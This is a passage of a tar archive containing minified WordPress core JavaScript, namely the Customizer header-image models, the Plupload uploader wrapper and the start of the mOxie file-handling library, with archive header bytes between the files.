PJT%��;��������������������������������������������������������������������������������������������������������������������������js/thickbox/macFFBgHack.png�������������������������������������������������������������������������0000644�����������������00000000136�14717703502�0011523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������c���%IDATH!�� _jM H$D"H_,!Z����IENDB`����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/customize-models.min.js��������������������������������������������������������������������������0000644�����������������00000007155�14717703502�0011621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(i){var a=i.customize;a.HeaderTool={},a.HeaderTool.ImageModel=Backbone.Model.extend({defaults:function(){return{header:{attachment_id:0,url:"",timestamp:_.now(),thumbnail_url:""},choice:"",selected:!1,random:!1}},initialize:function(){this.on("hide",this.hide,this)},hide:function(){this.set("choice",""),a("header_image").set("remove-header"),a("header_image_data").set("remove-header")},destroy:function(){var e=this.get("header"),t=a.HeaderTool.currentHeader.get("header").attachment_id;t&&e.attachment_id===t&&a.HeaderTool.currentHeader.trigger("hide"),i.ajax.post("custom-header-remove",{nonce:_wpCustomizeHeader.nonces.remove,wp_customize:"on",theme:a.settings.theme.stylesheet,attachment_id:e.attachment_id}),this.trigger("destroy",this,this.collection)},save:function(){this.get("random")?(a("header_image").set(this.get("header").random),a("header_image_data").set(this.get("header").random)):this.get("header").defaultName?(a("header_image").set(this.get("header").url),a("header_image_data").set(this.get("header").defaultName)):(a("header_image").set(this.get("header").url),a("header_image_data").set(this.get("header"))),a.HeaderTool.combinedList.trigger("control:setImage",this)},importImage:function(){var e=this.get("header");void 0!==e.attachment_id&&i.ajax.post("custom-header-add",{nonce:_wpCustomizeHeader.nonces.add,wp_customize:"on",theme:a.settings.theme.stylesheet,attachment_id:e.attachment_id})},shouldBeCropped:function(){return(!0!==this.get("themeFlexWidth")||!0!==this.get("themeFlexHeight"))&&((!0!==this.get("themeFlexWidth")||this.get("themeHeight")!==this.get("imageHeight"))&&((!0!==this.get("themeFlexHeight")||this.get("themeWidth")!==this.get("imageWidth"))&&((this.get("themeWidth")!==this.get("imageWidth")||this.get("themeHeight")!==this.get("imageHeight"))&&!(this.get("imageWidth")<=this.get("themeWidth")))))}}),a.HeaderTool.ChoiceList=Backbone.Collection.extend({model:a.HeaderTool.ImageModel,comparator:function(e){return-e.get("header").timestamp},initialize:function(){var i=a.HeaderTool.currentHeader.get("choice").replace(/^https?:\/\//,""),e=this.isRandomChoice(a.get().header_image);this.type||(this.type="uploaded"),void 0===this.data&&(this.data=_wpCustomizeHeader.uploads),e&&(i=a.get().header_image),this.on("control:setImage",this.setImage,this),this.on("control:removeImage",this.removeImage,this),this.on("add",this.maybeRemoveOldCrop,this),this.on("add",this.maybeAddRandomChoice,this),_.each(this.data,function(e,t){e.attachment_id||(e.defaultName=t),void 0===e.timestamp&&(e.timestamp=0),this.add({header:e,choice:e.url.split("/").pop(),selected:i===e.url.replace(/^https?:\/\//,"")},{silent:!0})},this),0<this.size()&&this.addRandomChoice(i)},maybeRemoveOldCrop:function(t){var e,i=t.get("header").attachment_id||!1;i&&(e=this.find(function(e){return e.cid!==t.cid&&e.get("header").attachment_id===i}))&&this.remove(e)},maybeAddRandomChoice:function(){1===this.size()&&this.addRandomChoice()},addRandomChoice:function(e){var e=RegExp(this.type).test(e),t="random-"+this.type+"-image";this.add({header:{timestamp:0,random:t,width:245,height:41},choice:t,random:!0,selected:e})},isRandomChoice:function(e){return/^random-(uploaded|default)-image$/.test(e)},shouldHideTitle:function(){return this.size()<2},setImage:function(e){this.each(function(e){e.set("selected",!1)}),e&&e.set("selected",!0)},removeImage:function(){this.each(function(e){e.set("selected",!1)})}}),a.HeaderTool.DefaultsList=a.HeaderTool.ChoiceList.extend({initialize:function(){this.type="default",this.data=_wpCustomizeHeader.defaults,a.HeaderTool.ChoiceList.prototype.initialize.apply(this)}})}((jQuery,window.wp));�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/wp-plupload.min.js����������������������������������������������������������������������0000644�����������������00000013530�14717703502�0012374 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������window.wp=window.wp||{},function(e,l){var u;"undefined"!=typeof _wpPluploadSettings&&(l.extend(u=function(e){var n,t,i,p,d=this,r={container:"container",browser:"browse_button",dropzone:"drop_element"},s={};if(this.supports={upload:u.browser.supported},this.supported=this.supports.upload,this.supported){for(t in this.plupload=l.extend(!0,{multipart_params:{}},u.defaults),this.container=document.body,l.extend(!0,this,e),this)"function"==typeof this[t]&&(this[t]=l.proxy(this[t],this));for(t in r)this[t]&&(this[t]=l(this[t]).first(),this[t].length?(this[t].prop("id")||this[t].prop("id","__wp-uploader-id-"+u.uuid++),this.plupload[r[t]]=this[t].prop("id")):delete this[t]);(this.browser&&this.browser.length||this.dropzone&&this.dropzone.length)&&(this.uploader=new plupload.Uploader(this.plupload),delete this.plupload,this.param(this.params||{}),delete this.params,n=function(t,r,a){var e,o;if(r&&r.responseHeaders)if((o=r.responseHeaders.match(/x-wp-upload-attachment-id:\s*(\d+)/i))&&o[1]){if(o=o[1],(e=s[a.id])&&4<e)return l.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:_wpPluploadSettings.defaults.multipart_params._wpnonce,attachment_id:o,_wp_upload_failed_cleanup:!0}}),void i(t,r,a,"no-retry");s[a.id]=e?++e:1,l.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:_wpPluploadSettings.defaults.multipart_params._wpnonce,attachment_id:o}}).done(function(e){e.success?p(d.uploader,a,e):(e.data&&e.data.message&&(t=e.data.message),i(t,r,a,"no-retry"))}).fail(function(e){500<=e.status&&e.status<600?n(t,r,a):i(t,r,a,"no-retry")})}else i(pluploadL10n.http_error_image,r,a,"no-retry");else i(pluploadL10n.http_error_image,r,a,"no-retry")},i=function(e,t,r,a){var o=r.type&&0===r.type.indexOf("image/"),i=t&&t.status;"no-retry"!==a&&o&&500<=i&&i<600?n(e,t,r):(r.attachment&&r.attachment.destroy(),u.errors.unshift({message:e||pluploadL10n.default_error,data:t,file:r}),d.error(e,t,r))},p=function(e,t,r){_.each(["file","loaded","size","percent"],function(e){t.attachment.unset(e)}),t.attachment.set(_.extend(r.data,{uploading:!1})),wp.media.model.Attachment.get(r.data.id,t.attachment),u.queue.all(function(e){return!e.get("uploading")})&&u.queue.reset(),d.success(t.attachment)},this.uploader.bind("init",function(e){var t,r,a=d.dropzone,e=d.supports.dragdrop=e.features.dragdrop&&!u.browser.mobile;if(a){if(a.toggleClass("supports-drag-drop",!!e),!e)return a.unbind(".wp-uploader");a.on("dragover.wp-uploader",function(){t&&clearTimeout(t),r||(a.trigger("dropzone:enter").addClass("drag-over"),r=!0)}),a.on("dragleave.wp-uploader, drop.wp-uploader",function(){t=setTimeout(function(){r=!1,a.trigger("dropzone:leave").removeClass("drag-over")},0)}),d.ready=!0,l(d).trigger("uploader:ready")}}),this.uploader.bind("postinit",function(e){e.refresh(),d.init()}),this.uploader.init(),this.browser?this.browser.on("mouseenter",this.refresh):this.uploader.disableBrowse(!0),l(d).on("uploader:ready",function(){l('.moxie-shim-html5 input[type="file"]').attr({tabIndex:"-1","aria-hidden":"true"})}),this.uploader.bind("FilesAdded",function(a,e){_.each(e,function(e){var t,r;if(plupload.FAILED!==e.status){if("image/heic"===e.type&&a.settings.heic_upload_error)u.errors.unshift({message:pluploadL10n.unsupported_image,data:{},file:e});else if("image/webp"===e.type&&a.settings.webp_upload_error)return i(pluploadL10n.noneditable_image,{},e,"no-retry"),void a.removeFile(e);t=_.extend({file:e,uploading:!0,date:new Date,filename:e.name,menuOrder:0,uploadedTo:wp.media.model.settings.post.id},_.pick(e,"loaded","size","percent")),(r=/(?:jpe?g|png|gif)$/i.exec(e.name))&&(t.type="image",t.subtype="jpg"===r[0]?"jpeg":r[0]),e.attachment=wp.media.model.Attachment.create(t),u.queue.add(e.attachment),d.added(e.attachment)}}),a.refresh(),a.start()}),this.uploader.bind("UploadProgress",function(e,t){t.attachment.set(_.pick(t,"loaded","percent")),d.progress(t.attachment)}),this.uploader.bind("FileUploaded",function(e,t,r){try{r=JSON.parse(r.response)}catch(e){return i(pluploadL10n.default_error,e,t)}return!_.isObject(r)||_.isUndefined(r.success)?i(pluploadL10n.default_error,null,t):r.success?void p(e,t,r):i(r.data&&r.data.message,r.data,t)}),this.uploader.bind("Error",function(e,t){var r,a=pluploadL10n.default_error;for(r in u.errorMap)if(t.code===plupload[r]){"function"==typeof(a=u.errorMap[r])&&(a=a(t.file,t));break}i(a,t,t.file),e.refresh()}))}},_wpPluploadSettings),u.uuid=0,u.errorMap={FAILED:pluploadL10n.upload_failed,FILE_EXTENSION_ERROR:pluploadL10n.invalid_filetype,IMAGE_FORMAT_ERROR:pluploadL10n.not_an_image,IMAGE_MEMORY_ERROR:pluploadL10n.image_memory_exceeded,IMAGE_DIMENSIONS_ERROR:pluploadL10n.image_dimensions_exceeded,GENERIC_ERROR:pluploadL10n.upload_failed,IO_ERROR:pluploadL10n.io_error,SECURITY_ERROR:pluploadL10n.security_error,FILE_SIZE_ERROR:function(e){return pluploadL10n.file_exceeds_size_limit.replace("%s",e.name)},HTTP_ERROR:function(e){return e.type&&0===e.type.indexOf("image/")?pluploadL10n.http_error_image:pluploadL10n.http_error}},l.extend(u.prototype,{param:function(e,t){if(1===arguments.length&&"string"==typeof e)return this.uploader.settings.multipart_params[e];1<arguments.length?this.uploader.settings.multipart_params[e]=t:l.extend(this.uploader.settings.multipart_params,e)},init:function(){},error:function(){},success:function(){},added:function(){},progress:function(){},complete:function(){},refresh:function(){var e,t,r;if(this.browser){for(e=this.browser[0];e;){if(e===document.body){t=!0;break}e=e.parentNode}t||(r="wp-uploader-browser-"+this.uploader.id,(r=(r=l("#"+r)).length?r:l('<div class="wp-uploader-browser" />').css({position:"fixed",top:"-1000px",left:"-1000px",height:0,width:0}).attr("id","wp-uploader-browser-"+this.uploader.id).appendTo("body")).append(this.browser))}this.uploader.refresh()}}),u.queue=new wp.media.model.Attachments([],{query:!1}),u.errors=new Backbone.Collection,e.Uploader=u)}(wp,jQuery);������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/moxie.min.js����������������������������������������������������������������������������0000644�����������������00000252736�14717703502�0011266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var MXI_DEBUG=!1;!function(o,x){"use strict";var s={};function n(e,t){for(var i,n=[],r=0;r<e.length;++r){if(!(i=s[e[r]]||function(e){for(var t=o,i=e.split(/[.\/]/),n=0;n<i.length;++n){if(!t[i[n]])return;t=t[i[n]]}return t}(e[r])))throw"module definition dependecy not found: "+e[r];n.push(i)}t.apply(null,n)}function e(e,t,i){if("string"!=typeof e)throw"invalid module definition, module id must be defined and be a string";if(t===x)throw"invalid module definition, dependencies must be specified";if(i===x)throw"invalid module definition, definition function must be specified";n(t,function(){s[e]=i.apply(null,arguments)})}e("moxie/core/utils/Basic",[],function(){function n(i){return s(arguments,function(e,t){0<t&&s(e,function(e,t){void 0!==e&&(o(i[t])===o(e)&&~r(o(e),["array","object"])?n(i[t],e):i[t]=e)})}),i}function s(e,t){var i,n,r;if(e)if("number"===o(e.length)){for(r=0,i=e.length;r<i;r++)if(!1===t(e[r],r))return}else if("object"===o(e))for(n in e)if(e.hasOwnProperty(n)&&!1===t(e[n],n))return}function r(e,t){if(t){if(Array.prototype.indexOf)return Array.prototype.indexOf.call(t,e);for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i}return-1}var o=function(e){return void 0===e?"undefined":null===e?"null":e.nodeType?"node":{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()};a=0;var a;return{guid:function(e){for(var t=(new Date).getTime().toString(32),i=0;i<5;i++)t+=Math.floor(65535*Math.random()).toString(32);return(e||"o_")+t+(a++).toString(32)},typeOf:o,extend:n,each:s,isEmptyObj:function(e){if(!e||"object"!==o(e))return!0;for(var t in e)return!1;return!0},inSeries:function(e,n){var r=e.length;"function"!==o(n)&&(n=function(){}),e&&e.length||n(),function t(i){"function"===o(e[i])&&e[i](function(e){++i<r&&!e?t(i):n(e)})}(0)},inParallel:function(e,i){var n=0,r=e.length,o=new Array(r);s(e,function(e,t){e(function(e){if(e)return i(e);e=[].slice.call(arguments);e.shift(),o[t]=e,++n===r&&(o.unshift(null),i.apply(this,o))})})},inArray:r,arrayDiff:function(e,t){var i,n=[];for(i in"array"!==o(e)&&(e=[e]),"array"!==o(t)&&(t=[t]),e)-1===r(e[i],t)&&n.push(e[i]);return!!n.length&&n},arrayIntersect:function(e,t){var i=[];return s(e,function(e){-1!==r(e,t)&&i.push(e)}),i.length?i:null},toArray:function(e){for(var t=[],i=0;i<e.length;i++)t[i]=e[i];return t},trim:function(e){return e&&(String.prototype.trim?String.prototype.trim.call(e):e.toString().replace(/^\s*/,"").replace(/\s*$/,""))},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==o(e)?e:""})},parseSizeStr:function(e){if("string"!=typeof e)return e;var t={t:1099511627776,g:1073741824,m:1048576,k:1024},i=(e=/^([0-9\.]+)([tmgk]?)$/.exec(e.toLowerCase().replace(/[^0-9\.tmkg]/g,"")))[2];return e=+e[1],t.hasOwnProperty(i)&&(e*=t[i]),Math.floor(e)}}}),e("moxie/core/utils/Env",["moxie/core/utils/Basic"],function(n){var e=function(d){var m="function",h="object",e="name",t="version",r=function(e,t){return-1!==t.toLowerCase().indexOf(e.toLowerCase())},i={rgx:function(){for(var e,t,i,n,r,o,s,a=0,u=arguments;a<u.length;a+=2){var c=u[a],l=u[a+1];if(void 0===e)for(n in e={},l)typeof(r=l[n])==h?e[r[0]]=d:e[r]=d;for(t=i=0;t<c.length;t++)if(o=c[t].exec(this.getUA())){for(n=0;n<l.length;n++)s=o[++i],typeof(r=l[n])==h&&0<r.length?2==r.length?typeof r[1]==m?e[r[0]]=r[1].call(this,s):e[r[0]]=r[1]:3==r.length?typeof r[1]!=m||r[1].exec&&r[1].test?e[r[0]]=s?s.replace(r[1],r[2]):d:e[r[0]]=s?r[1].call(this,s,r[2]):d:4==r.length&&(e[r[0]]=s?r[3].call(this,s.replace(r[1],r[2])):d):e[r]=s||d;break}if(o)break}return e},str:function(e,t){for(var i in t)if(typeof t[i]==h&&0<t[i].length){for(var n=0;n<t[i].length;n++)if(r(t[i][n],e))return"?"===i?d:i}else if(r(t[i],e))return"?"===i?d:i;return e}},n={browser:{oldsafari:{major:{1:["/8","/1","/3"],2:"/4","?":"/"},version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",RT:"ARM"}}}},o={browser:[[/(opera\smini)\/([\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,/(opera).+version\/([\w\.]+)/i,/(opera)[\/\s]+([\w\.]+)/i],[e,t],[/\s(opr)\/([\w\.]+)/i],[[e,"Opera"],t],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i],[e,t],[/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i],[[e,"IE"],t],[/(edge)\/((\d+)?[\w\.]+)/i],[e,t],[/(yabrowser)\/([\w\.]+)/i],[[e,"Yandex"],t],[/(comodo_dragon)\/([\w\.]+)/i],[[e,/_/g," "],t],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,/(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i],[e,t],[/(dolfin)\/([\w\.]+)/i],[[e,"Dolphin"],t],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[e,"Chrome"],t],[/XiaoMi\/MiuiBrowser\/([\w\.]+)/i],[t,[e,"MIUI Browser"]],[/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i],[t,[e,"Android Browser"]],[/FBAV\/([\w\.]+);/i],[t,[e,"Facebook"]],[/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i],[t,[e,"Mobile Safari"]],[/version\/([\w\.]+).+?(mobile\s?safari|safari)/i],[t,e],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[e,[t,i.str,n.browser.oldsafari.version]],[/(konqueror)\/([\w\.]+)/i,/(webkit|khtml)\/([\w\.]+)/i],[e,t],[/(navigator|netscape)\/([\w\.-]+)/i],[[e,"Netscape"],t],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,/(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]+)*/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[e,t]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[t,[e,"EdgeHTML"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[e,t],[/rv\:([\w\.]+).*(gecko)/i],[t,e]],os:[[/microsoft\s(windows)\s(vista|xp)/i],[e,t],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[e,[t,i.str,n.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[e,"Windows"],[t,i.str,n.os.windows.version]],[/\((bb)(10);/i],[[e,"BlackBerry"],t],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)[\/\s]([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,/linux;.+(sailfish);/i],[e,t],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[e,"Symbian"],t],[/\((series40);/i],[e],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[e,"Firefox OS"],t],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[e,t],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[e,"Chromium OS"],t],[/(sunos)\s?([\w\.]+\d)*/i],[[e,"Solaris"],t],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],[e,t],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[e,"iOS"],[t,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i,/(macintosh|mac(?=_powerpc)\s)/i],[[e,"Mac OS"],[t,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,/(unix)\s?([\w\.]+)*/i],[e,t]]};return function(e){var t=e||(window&&window.navigator&&window.navigator.userAgent?window.navigator.userAgent:"");this.getBrowser=function(){return i.rgx.apply(this,o.browser)},this.getEngine=function(){return i.rgx.apply(this,o.engine)},this.getOS=function(){return i.rgx.apply(this,o.os)},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS()}},this.getUA=function(){return t},this.setUA=function(e){return t=e,this},this.setUA(t)}}();function t(e){var t=[].slice.call(arguments);return t.shift(),"function"===n.typeOf(r[e])?r[e].apply(this,t):!!r[e]}r={define_property:!1,create_canvas:!(!(o=document.createElement("canvas")).getContext||!o.getContext("2d")),return_response_type:function(e){try{if(-1!==n.inArray(e,["","text","document"]))return!0;if(window.XMLHttpRequest){var t=new XMLHttpRequest;if(t.open("get","/"),"responseType"in t)return t.responseType=e,t.responseType===e}}catch(e){}return!1},use_data_uri:((i=new Image).onload=function(){r.use_data_uri=1===i.width&&1===i.height},setTimeout(function(){i.src="data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="},1),!1),use_data_uri_over32kb:function(){return r.use_data_uri&&("IE"!==s.browser||9<=s.version)},use_data_uri_of:function(e){return r.use_data_uri&&e<33e3||r.use_data_uri_over32kb()},use_fileinput:function(){if(navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/))return!1;var e=document.createElement("input");return e.setAttribute("type","file"),!e.disabled}};var i,r,o=(new e).getResult(),s={can:t,uaParser:e,browser:o.browser.name,version:o.browser.version,os:o.os.name,osVersion:o.os.version,verComp:function(e,t,i){function n(e){return(e=(e=(""+e).replace(/[_\-+]/g,".")).replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,".")).length?e.split("."):[-8]}function r(e){return e?isNaN(e)?u[e]||-7:parseInt(e,10):0}var o,s=0,a=0,u={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1};for(e=n(e),t=n(t),o=Math.max(e.length,t.length),s=0;s<o;s++)if(e[s]!=t[s]){if(e[s]=r(e[s]),t[s]=r(t[s]),e[s]<t[s]){a=-1;break}if(e[s]>t[s]){a=1;break}}if(!i)return a;switch(i){case">":case"gt":return 0<a;case">=":case"ge":return 0<=a;case"<=":case"le":return a<=0;case"==":case"=":case"eq":return 0===a;case"<>":case"!=":case"ne":return 0!==a;case"":case"<":case"lt":return a<0;default:return null}},global_event_dispatcher:"moxie.core.EventTarget.instance.dispatchEvent"};return s.OS=s.os,MXI_DEBUG&&(s.debug={runtime:!0,events:!1},s.log=function(){var e,t,i=arguments[0];"string"===n.typeOf(i)&&(i=n.sprintf.apply(this,arguments)),window&&window.console&&window.console.log?window.console.log(i):document&&((e=document.getElementById("moxie-console"))||((e=document.createElement("pre")).id="moxie-console",document.body.appendChild(e)),-1!==n.inArray(n.typeOf(i),["object","array"])?(t=i,e.appendChild(document.createTextNode(t+"\n"))):e.appendChild(document.createTextNode(i+"\n")))}),s}),e("moxie/core/I18n",["moxie/core/utils/Basic"],function(i){var t={};return{addI18n:function(e){return i.extend(t,e)},translate:function(e){return t[e]||e},_:function(e){return this.translate(e)},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==i.typeOf(e)?e:""})}}}),e("moxie/core/utils/Mime",["moxie/core/utils/Basic","moxie/core/I18n"],function(a,n){var e={mimes:{},extensions:{},addMimeType:function(e){for(var t,i,n=e.split(/,/),r=0;r<n.length;r+=2){for(i=n[r+1].split(/ /),t=0;t<i.length;t++)this.mimes[i[t]]=n[r];this.extensions[n[r]]=i}},extList2mimes:function(e,t){for(var i,n,r,o=[],s=0;s<e.length;s++)for(i=e[s].extensions.split(/\s*,\s*/),n=0;n<i.length;n++){if("*"===i[n])return[];if((r=this.mimes[i[n]])&&-1===a.inArray(r,o)&&o.push(r),t&&/^\w+$/.test(i[n]))o.push("."+i[n]);else if(!r)return[]}return o},mimes2exts:function(e){var n=this,r=[];return a.each(e,function(e){if("*"===e)return!(r=[]);var i=e.match(/^(\w+)\/(\*|\w+)$/);i&&("*"===i[2]?a.each(n.extensions,function(e,t){new RegExp("^"+i[1]+"/").test(t)&&[].push.apply(r,n.extensions[t])}):n.extensions[e]&&[].push.apply(r,n.extensions[e]))}),r},mimes2extList:function(e){var t=[],i=[];return"string"===a.typeOf(e)&&(e=a.trim(e).split(/\s*,\s*/)),i=this.mimes2exts(e),t.push({title:n.translate("Files"),extensions:i.length?i.join(","):"*"}),t.mimes=e,t},getFileExtension:function(e){e=e&&e.match(/\.([^.]+)$/);return e?e[1].toLowerCase():""},getFileMime:function(e){return this.mimes[this.getFileExtension(e)]||""}};return e.addMimeType("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb,application/vnd.ms-powerpoint,ppt pps pot,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mp3 mpga mpega mp2,audio/x-wav,wav,audio/x-m4a,m4a,audio/ogg,oga ogg,audio/aiff,aiff aif,audio/flac,flac,audio/aac,aac,audio/ac3,ac3,audio/x-ms-wma,wma,image/bmp,bmp,image/gif,gif,image/jpeg,jpg jpeg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe m2v,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/3gpp,3gpp 3gp,video/3gpp2,3g2,video/vnd.rn-realvideo,rv,video/ogg,ogv,video/x-matroska,mkv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe"),e}),e("moxie/core/utils/Dom",["moxie/core/utils/Env"],function(c){function i(e,t){return!!e.className&&new RegExp("(^|\\s+)"+t+"(\\s+|$)").test(e.className)}return{get:function(e){return"string"!=typeof e?e:document.getElementById(e)},hasClass:i,addClass:function(e,t){i(e,t)||(e.className=e.className?e.className.replace(/\s+$/,"")+" "+t:t)},removeClass:function(e,t){e.className&&(t=new RegExp("(^|\\s+)"+t+"(\\s+|$)"),e.className=e.className.replace(t,function(e,t,i){return" "===t&&" "===i?" ":""}))},getStyle:function(e,t){return e.currentStyle?e.currentStyle[t]:window.getComputedStyle?window.getComputedStyle(e,null)[t]:void 0},getPos:function(e,t){var i,n,r,o=0,s=0,a=document;function u(e){var t,i=0,n=0;return e&&(e=e.getBoundingClientRect(),t="CSS1Compat"===a.compatMode?a.documentElement:a.body,i=e.left+t.scrollLeft,n=e.top+t.scrollTop),{x:i,y:n}}if(t=t||a.body,e&&e.getBoundingClientRect&&"IE"===c.browser&&(!a.documentMode||a.documentMode<8))return n=u(e),r=u(t),{x:n.x-r.x,y:n.y-r.y};for(i=e;i&&i!=t&&i.nodeType;)o+=i.offsetLeft||0,s+=i.offsetTop||0,i=i.offsetParent;for(i=e.parentNode;i&&i!=t&&i.nodeType;)o-=i.scrollLeft||0,s-=i.scrollTop||0,i=i.parentNode;return{x:o,y:s}},getSize:function(e){return{w:e.offsetWidth||e.clientWidth,h:e.offsetHeight||e.clientHeight}}}}),e("moxie/core/Exceptions",["moxie/core/utils/Basic"],function(e){function t(e,t){for(var i in e)if(e[i]===t)return i;return 